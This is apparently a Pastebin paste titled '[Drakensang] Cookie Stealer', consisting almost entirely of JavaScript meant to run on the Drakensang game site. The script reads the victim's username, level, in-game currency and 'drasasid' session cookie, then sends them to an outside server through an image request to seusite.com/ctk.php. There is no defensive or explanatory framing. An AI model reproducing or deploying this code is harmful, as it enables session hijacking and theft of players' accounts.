nPhoenix

[Drakensang] Cookie Stealer

Jun 17th, 2012
230
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. if (!location.href.match(/drakensang.com/)) {
  2.     alert("Você está no lugar errado!");
  3. };
  4. $.ajax({
  5.     url: "/user",
  6.     success: function (x) {
  7.         username = (x.match(/userinfo_name">(.+): (.+)</)[0].split(/: /)[1].split(/</)[0]);
  8.         SESSION = (document.cookie.match(/drasasid=(.+);/)[0].split(/=/)[1].split(/;/)[0]);
  9.         nivel = (x.match(/<div>N(.+)vel:(.+)<div>(.+)</gi)[0].split(/value">/)[1].split(/>/)[1].split(/</)[0]);
  10.         andermant = (x.match(/id="userinfo_andermant" class="userinfo_resource">(.+)</)[0].split(/>/)[1].split(/</)[0]);
  11.         pwned = new Image();
  12.         pwned.src = "http://seusite.com/ctk.php?c=" + SESSION + "&u=" + username + "&n=" + nivel + "&a=" + andermant;
  13.     }
  14. });
Add Comment
Please, Sign In to add comment